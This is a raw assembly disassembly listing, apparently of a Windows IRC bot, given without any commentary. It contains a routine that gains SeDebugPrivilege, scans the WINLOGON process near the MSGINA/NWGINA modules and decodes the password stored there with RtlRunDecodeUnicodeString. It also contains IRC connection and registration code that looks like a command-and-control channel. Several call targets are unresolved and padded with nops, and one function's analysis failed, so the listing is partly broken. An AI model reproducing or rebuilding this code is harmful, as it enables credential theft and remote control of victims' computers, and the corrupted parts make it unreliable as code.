loc_416FBF: ; CODE XREF: sub_416F7A+77j
push offset aA_1 ; "A:\\"
push esi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_416FE2
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EA8
add esp, 10h
loc_416FE2: ; CODE XREF: sub_416F7A+54j
push esi
call sub_41B960
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_416FBF
loc_416FF3: ; CODE XREF: sub_416F7A+43j
push edi
call sub_41BA31
pop ecx
pop edi
pop esi
loc_416FFC: ; CODE XREF: sub_416F7A+1Fj
pop ebx
pop ebp
retn
sub_416F7A endp
; ---------------------------------------------------------------------------
byte_416FFF db 55h ; DATA XREF: sub_401AC7+67F5o
dd 0EC81EC8Bh, 49Ch, 5308458Bh, 0A7B95756h, 8B000000h
dd 64BD8DF0h, 0F3FFFFFDh, 9880C7A5h, 1000002h, 8D000000h
dd 0FFFEEC85h, 2DE850FFh, 33000049h, 5BC80DBh, 0FFFFFEEBh
dd 1475595Ch, 0FEEC858Dh, 0E850FFFFh, 4914h, 59C8859h
dd 0FFFFFEEBh, 0FDE8858Dh, 6850FFFFh, 437C84h, 0FB64858Dh
dd 68FFFFh, 50000002h, 508FE8h, 10C48300h, 75F85D39h, 858D5320h
dd 0FFFFFB64h, 50F475FFh, 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h
dd 27CCE8FFh, 0C483FFFFh, 0EC858D14h, 53FFFFFEh, 0E8858D50h
dd 50FFFFFDh, 0FD68858Dh, 75FFFFFFh, 0B5FF50F4h, 0FFFFFD64h
dd 5AE8h, 858D5000h, 0FFFFFB64h, 437C6468h, 37E85000h
dd 8300004Fh, 5D3924C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh
dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF276Eh
dd 8D14C483h, 0FFFB6485h, 0EBE850FFh, 0FFFFFFEBh, 0BEE8F075h
dd 59FFFF45h, 0E8905359h, 22D8EECh, 555B5E5Fh, 0EC81EC8Bh
dd 54Ch, 0BE575653h, 104h, 8D1875FFh, 0FFFDB885h, 7CC868FFh
dd 50560043h, 4FC3E8h, 303D8B00h, 83004271h, 858D10C4h
dd 0FFFFFEBCh, 0B8858D50h, 50FFFFFDh, 0F883D7FFh, 0FC4589FFh
dd 429AC4BBh, 0F6717400h, 0FFFEBC85h, 547410FFh, 0FEE8BD80h
dd 752EFFFFh, 0E9BD8012h, 0FFFFFEh, 0BD804274h, 0FFFFFEE9h
dd 8D39742Eh, 0FFFEE885h, 858D50FFh, 0FFFFFCB4h, 531875FFh
dd 61E85056h, 0FF00004Fh, 858D1C75h, 0FFFFFCB4h, 1475FF50h
dd 0FF1075FFh, 75FF0C75h, 0FF5DE808h, 0C483FFFFh, 1C45892Ch
dd 0FEBC858Dh, 0FF50FFFFh, 31E8FC75h, 9002368Eh, 8F75C085h
dd 90FC75FFh, 1A8E23E8h, 1475FF02h, 0FDB8858Dh, 75FFFFFFh
dd 50565318h, 4F0FE8h, 14C48300h, 0FEBC858Dh, 8D50FFFFh
dd 0FFFDB885h, 0D7FF50FFh, 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h
dd 1C45FFFFh, 0B4858D50h, 0FFFFFFFAh, 0AC681875h, 6800437Ch
dd 200h, 4ED2E850h, 16A0000h, 0FAB4858Dh, 75FFFFFFh, 75FF5010h
dd 875FF0Ch, 0FF261DE8h, 28C483FFh, 0FEBC858Dh, 5650FFFFh
dd 8DAAE890h, 0C0850236h, 9056B175h, 1A8D9FE8h, 1C458B02h
dd 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417269 proc near ; DATA XREF: sub_401AC7+1C62o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41ADDD
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_4172A8
cmp eax, 2
jz short loc_4172A8
push offset unk_437EA0
jmp loc_4173E7
; ---------------------------------------------------------------------------
loc_4172A8: ; CODE XREF: sub_417269+2Ej
; sub_417269+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B3F
pop ecx
test eax, eax
pop ecx
jz loc_4173E2
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call near ptr 26B0C73h
nop
mov esi, dword_4270CC
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D217C, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D2170, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D2380, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D2178, eax
call esi
mov dword_4D2174, eax
call sub_41743B
test eax, eax
mov [ebp+arg_0], eax
jz loc_4173B5
mov esi, dword_427154
mov edi, 400h
mov ebx, offset dword_4D1170
push edi
push ebx
push offset off_437DDC
call esi
push edi
mov edi, offset dword_4D1970
push edi
push offset off_437DC4
call esi
cmp [ebp+var_4], 1
push offset dword_4D2388
push [ebp+arg_0]
jnz short loc_417361
call sub_4175C4
jmp short loc_417366
; ---------------------------------------------------------------------------
loc_417361: ; CODE XREF: sub_417269+EFj
call sub_41776B
loc_417366: ; CODE XREF: sub_417269+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_4173AE
cmp dword_4D2388, 0
jnz short loc_417395
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_437D68
push 200h
push eax
call sub_41C100
add esp, 18h
jmp short loc_4173C8
; ---------------------------------------------------------------------------
loc_417395: ; CODE XREF: sub_417269+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4173A5
call sub_4178A1
jmp short loc_4173AA
; ---------------------------------------------------------------------------
loc_4173A5: ; CODE XREF: sub_417269+133j
call sub_417938
loc_4173AA: ; CODE XREF: sub_417269+13Aj
pop ecx
push eax
jmp short loc_4173BA
; ---------------------------------------------------------------------------
loc_4173AE: ; CODE XREF: sub_417269+101j
push offset unk_437D30
jmp short loc_4173BA
; ---------------------------------------------------------------------------
loc_4173B5: ; CODE XREF: sub_417269+B6j
push offset unk_437D04
loc_4173BA: ; CODE XREF: sub_417269+143j
; sub_417269+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C006
pop ecx
pop ecx
loc_4173C8: ; CODE XREF: sub_417269+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B3F
pop ecx
pop ecx
push [ebp+var_8]
call near ptr 27B0737h
nop
pop ebx
jmp short loc_4173F5
; ---------------------------------------------------------------------------
loc_4173E2: ; CODE XREF: sub_417269+4Ej
push offset unk_437CD0
loc_4173E7: ; CODE XREF: sub_417269+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C006
pop ecx
pop ecx
loc_4173F5: ; CODE XREF: sub_417269+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_41741C
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409862
add esp, 14h
loc_41741C: ; CODE XREF: sub_417269+191j
lea eax, [ebp+var_29C]
push eax
call sub_415CEE
push [ebp+var_18]
call sub_40B6C9
pop ecx
pop ecx
push esi
nop
call near ptr 26F0000h
pop edi
pop esi
sub_417269 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41743B proc near ; CODE XREF: sub_417269+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_427160
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, dword_42715C
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D217C
push ebp
push 0
call esi
push eax
call near ptr 27C0620h
nop
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D217C
test eax, eax
jnz short loc_417528
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_417528
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_417528
loc_4174C4: ; CODE XREF: sub_41743B+EBj
cmp word ptr [ebx+8], 5
jnz short loc_41751B
push 0
push 0
call dword_4D2170
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D2380
test eax, eax
jnz short loc_41750C
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41DD4A
pop ecx
push eax
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_417540
loc_41750C: ; CODE XREF: sub_41743B+AAj
test edi, edi
jz short loc_417517
push edi
call dword_4D2178
loc_417517: ; CODE XREF: sub_41743B+D3j
mov eax, [esp+28h+var_10]
loc_41751B: ; CODE XREF: sub_41743B+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_4174C4
loc_417528: ; CODE XREF: sub_41743B+6Dj
; sub_41743B+7Aj ...
xor edi, edi
loc_41752A: ; CODE XREF: sub_41743B+17Dj
push ebp
push 0
call esi
push eax
nop
call near ptr 27C0620h
mov eax, edi
loc_417538: ; CODE XREF: sub_41743B+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_417540: ; CODE XREF: sub_41743B+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_4175A9
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_417556: ; CODE XREF: sub_41743B+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41DD4A
pop ecx
push eax
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_4175BD
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41DD4A
pop ecx
push eax
call sub_41C080
pop ecx
test eax, eax
pop ecx
jnz short loc_41759B
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_41759B: ; CODE XREF: sub_41743B+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_417556
loc_4175A9: ; CODE XREF: sub_41743B+10Fj
test edi, edi
jz short loc_4175B4
push edi
call dword_4D2178
loc_4175B4: ; CODE XREF: sub_41743B+170j
mov edi, [esp+28h+var_4]
jmp loc_41752A
; ---------------------------------------------------------------------------
loc_4175BD: ; CODE XREF: sub_41743B+13Cj
xor eax, eax
jmp loc_417538
sub_41743B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175C4 proc near ; CODE XREF: sub_417269+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
nop
call near ptr 2680883h
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_4175ED
xor eax, eax
jmp loc_417768
; ---------------------------------------------------------------------------
loc_4175ED: ; CODE XREF: sub_4175C4+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
nop
call near ptr 27E0000h
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_427160
push 8
call esi
mov edi, dword_42715C
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, dword_427168
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_41763D
xor esi, esi
jmp loc_41775B
; ---------------------------------------------------------------------------
loc_41763D: ; CODE XREF: sub_4175C4+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
nop
call near ptr 27D095Eh
test eax, eax
jz loc_41774A
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_41774A
test [ebp+var_2B], 1
jnz loc_41774A
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_41774A
loc_4176A0: ; CODE XREF: sub_4175C4+112j
push edi
push offset dword_4D1170
call sub_4266CB
pop ecx
test eax, eax
pop ecx
jnz short loc_4176C8
lea eax, [edi+200h]
push eax
push offset dword_4D1970
call sub_4266CB
pop ecx
test eax, eax
pop ecx
jz short loc_4176D8
loc_4176C8: ; CODE XREF: sub_4175C4+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_41774A
jmp short loc_4176A0
; ---------------------------------------------------------------------------
loc_4176D8: ; CODE XREF: sub_4175C4+102j
test edi, edi
jz short loc_41774A
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
nop
call near ptr 2770503h
test eax, eax
jz short loc_417713
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
nop
call near ptr 2770000h
test eax, eax
jz short loc_417713
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_417713: ; CODE XREF: sub_4175C4+12Bj
; sub_4175C4+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D2394, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D238C, eax
mov dword_4D2390, edi
loc_41774A: ; CODE XREF: sub_4175C4+90j
; sub_4175C4+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
nop
call near ptr 27C0620h
mov esi, [ebp+var_10]
loc_41775B: ; CODE XREF: sub_4175C4+74j
push [ebp+var_4]
nop
call near ptr 2660000h
pop edi
mov eax, esi
pop ebx
loc_417768: ; CODE XREF: sub_4175C4+24j
pop esi
leave
retn
sub_4175C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41776B proc near ; CODE XREF: sub_417269:loc_417361p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
call near ptr 2680883h
nop
test eax, eax
mov [ebp+arg_0], eax
jz loc_41785D
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
nop
call near ptr 27E0000h
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417854
mov edi, dword_427160
loc_4177B6: ; CODE XREF: sub_41776B+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
nop
call near ptr 27D095Eh
test eax, eax
jz short loc_417842
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_417848
test [ebp+var_13], 1
jnz short loc_417848
push ecx
push 8
call edi
push eax
call near ptr 27D0000h
nop
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
nop
call near ptr 27D0BA6h
test eax, eax
jz short loc_417834
push offset dword_4D1170
push esi
call sub_4266CB
pop ecx
test eax, eax
pop ecx
jnz short loc_417834
lea eax, [esi+400h]
push offset dword_4D1970
push eax
call sub_4266CB
pop ecx
test eax, eax
pop ecx
jz short loc_417864
loc_417834: ; CODE XREF: sub_41776B+9Fj
; sub_41776B+B0j
push esi
push 0
call edi
push eax
nop
call near ptr 27C0620h
jmp short loc_417848
; ---------------------------------------------------------------------------
loc_417842: ; CODE XREF: sub_41776B+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_417848: ; CODE XREF: sub_41776B+71j
; sub_41776B+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_4177B6
loc_417854: ; CODE XREF: sub_41776B+3Fj
push [ebp+arg_0]
call near ptr 2660000h
nop
loc_41785D: ; CODE XREF: sub_41776B+1Ej
xor eax, eax
loc_41785F: ; CODE XREF: sub_41776B+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417864: ; CODE XREF: sub_41776B+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D238C, ebx
mov dword_4D2390, eax
cmp [eax], cl
jnz short loc_417886
cmp [eax+1], cl
jz short loc_41788E
loc_417886: ; CODE XREF: sub_41776B+114j
; sub_41776B+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417886
loc_41788E: ; CODE XREF: sub_41776B+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
nop
call near ptr 2660000h
push 1
pop eax
jmp short loc_41785F
sub_41776B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178A1 proc near ; CODE XREF: sub_417269+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D2388
push esi
mov esi, dword_427160
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
call near ptr 27D0000h
nop
mov ecx, dword_4D2388
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D2390
push eax
call sub_41CAB0
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D2394
push eax
call dword_4D2174
push [ebp+var_4]
mov edi, offset dword_4D2180
push offset dword_4D1170
push offset dword_4D1970
push [ebp+arg_0]
push offset dword_437EEC
push 200h
push edi
call sub_41C100
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
nop
call near ptr 27C0620h
mov eax, edi
pop edi
pop esi
leave
retn
sub_4178A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417938 proc near ; CODE XREF: sub_417269:loc_4173A5p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D2388
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call near ptr 27D08F7h
nop
push eax
call near ptr 27D0000h
nop
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D1970
mov edi, 200h
mov esi, offset dword_4D0F70
loc_41797E: ; CODE XREF: sub_417938+FAj
mov eax, dword_4D2388
add eax, eax
push eax
push dword_4D2390
push [ebp+var_14]
call sub_41CAB0
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D2174
mov eax, dword_4D2388
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_4179F3
loc_4179BB: ; CODE XREF: sub_417938+B3j
cmp [ebp+var_8], 0
jz short loc_417A10
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_4179DF
cmp byte ptr [ecx+1], 0
jnz short loc_4179DF
cmp dl, 20h
jnb short loc_4179D9
and [ebp+var_8], 0
loc_4179D9: ; CODE XREF: sub_417938+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_4179E3
loc_4179DF: ; CODE XREF: sub_417938+90j
; sub_417938+96j
and [ebp+var_8], 0
loc_4179E3: ; CODE XREF: sub_417938+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_4179BB
cmp [ebp+var_8], 0
jz short loc_417A10
loc_4179F3: ; CODE XREF: sub_417938+81j
push [ebp+var_14]
push offset dword_4D1170
push ebx
push [ebp+arg_0]
push offset dword_437EEC
push edi
push esi
call sub_41C100
add esp, 1Ch
jmp short loc_417A28
; ---------------------------------------------------------------------------
loc_417A10: ; CODE XREF: sub_417938+87j
; sub_417938+B9j
push offset dword_4D1170
push ebx
push [ebp+arg_0]
push offset dword_437F3C
push edi
push esi
call sub_41C100
add esp, 18h
loc_417A28: ; CODE XREF: sub_417938+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_41797E
push [ebp+var_14]
push 0
nop
call near ptr 27D08F7h
push eax
nop
call near ptr 27C0620h
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417938 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A51 proc near ; CODE XREF: sub_417C15+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4C9384
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_417ACD
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BD10
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4C9304
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4C9344
cmp eax, esi
jnz short loc_417AB2
push [ebp+arg_0]
call dword_4C9388
test eax, eax
jz short loc_417ACD
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417AB2: ; CODE XREF: sub_417A51+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4C92AC
cmp eax, esi
jnz short loc_417AD1
push edi
call dword_4C939C
loc_417ACD: ; CODE XREF: sub_417A51+1Bj
; sub_417A51+58j
mov eax, esi
jmp short loc_417AD3
; ---------------------------------------------------------------------------
loc_417AD1: ; CODE XREF: sub_417A51+73j
mov eax, edi
loc_417AD3: ; CODE XREF: sub_417A51+7Ej
pop edi
pop esi
leave
retn
sub_417A51 endp
; =============== S U B R O U T I N E =======================================
sub_417AD7 proc near ; CODE XREF: sub_401AC7+3275p
; sub_401AC7+32DCp ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42A084 ; "\n"
push edi
call sub_41C630
pop ecx
mov esi, offset dword_4D239C
pop ecx
loc_417AEF: ; CODE XREF: sub_417AD7+42j
cmp dword ptr [esi-4], 1
jnz short loc_417B0D
cmp dword ptr [esi], 0
jbe short loc_417B0D
push 0
push edi
call sub_41B960
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4C9354
loc_417B0D: ; CODE XREF: sub_417AD7+1Cj
; sub_417AD7+21j
add esi, 210h
cmp esi, offset dword_4D8ABC
jl short loc_417AEF
pop edi
pop esi
retn
sub_417AD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B1E proc near ; CODE XREF: sub_417C15+152p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42CDCC ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41C864
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_417B43: ; CODE XREF: sub_417B1E+35j
push esi
push 0
call sub_41C864
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_417B43
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_417B6B
cmp esi, edi
jnz short loc_417B6B
push 1
pop eax
jmp loc_417C10
; ---------------------------------------------------------------------------
loc_417B6B: ; CODE XREF: sub_417B1E+3Fj
; sub_417B1E+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41C7E0
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417B95
lea eax, [ebp+var_220]
push offset dword_438B54
push eax
call sub_41C006
add esp, 0Ch
jmp short loc_417BEF
; ---------------------------------------------------------------------------
loc_417B95: ; CODE XREF: sub_417B1E+5Fj
push offset a433 ; "433"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_417BB6
push esi
push offset dword_438B50
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417C0E
loc_417BB6: ; CODE XREF: sub_417B1E+85j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41BD10
lea eax, [ebp+var_420]
push eax
call sub_417E35
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_220]
push offset dword_438B44
push eax
call sub_41C006
add esp, 1Ch
loc_417BEF: ; CODE XREF: sub_417B1E+75j
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4C9354
loc_417C0E: ; CODE XREF: sub_417B1E+96j
xor eax, eax
loc_417C10: ; CODE XREF: sub_417B1E+48j
pop edi
pop esi
pop ebx
leave
retn
sub_417B1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C15 proc near ; DATA XREF: sub_417DB7+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41C2A0
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D23A4[esi]
mov dword_4D2398[esi], edi
push dword_4D25A4[esi]
push eax
call sub_417A51
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D239C[esi], eax
jb loc_417D97
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41BD10
lea eax, [ebp+var_2008]
push eax
call sub_417E35
lea eax, [ebp+var_4008]
push eax
call sub_417E35
lea eax, [ebp+var_3008]
push eax
call sub_417E35
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41C006
add esp, 2Ch
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D239C[esi]
call dword_4C9354
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BD10
add esp, 0Ch
loc_417CEE: ; CODE XREF: sub_417C15+10Ej
; sub_417C15+17Dj
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D239C[esi]
call dword_4C931C
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417D97
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417CEE
loc_417D25: ; CODE XREF: sub_417C15+17Bj
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_417D4C
cmp al, 0Ah
jz short loc_417D4C
cmp [ebp+arg_0], 0FA0h
jz short loc_417D4C
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417D86
; ---------------------------------------------------------------------------
loc_417D4C: ; CODE XREF: sub_417C15+119j
; sub_417C15+11Dj ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417D86
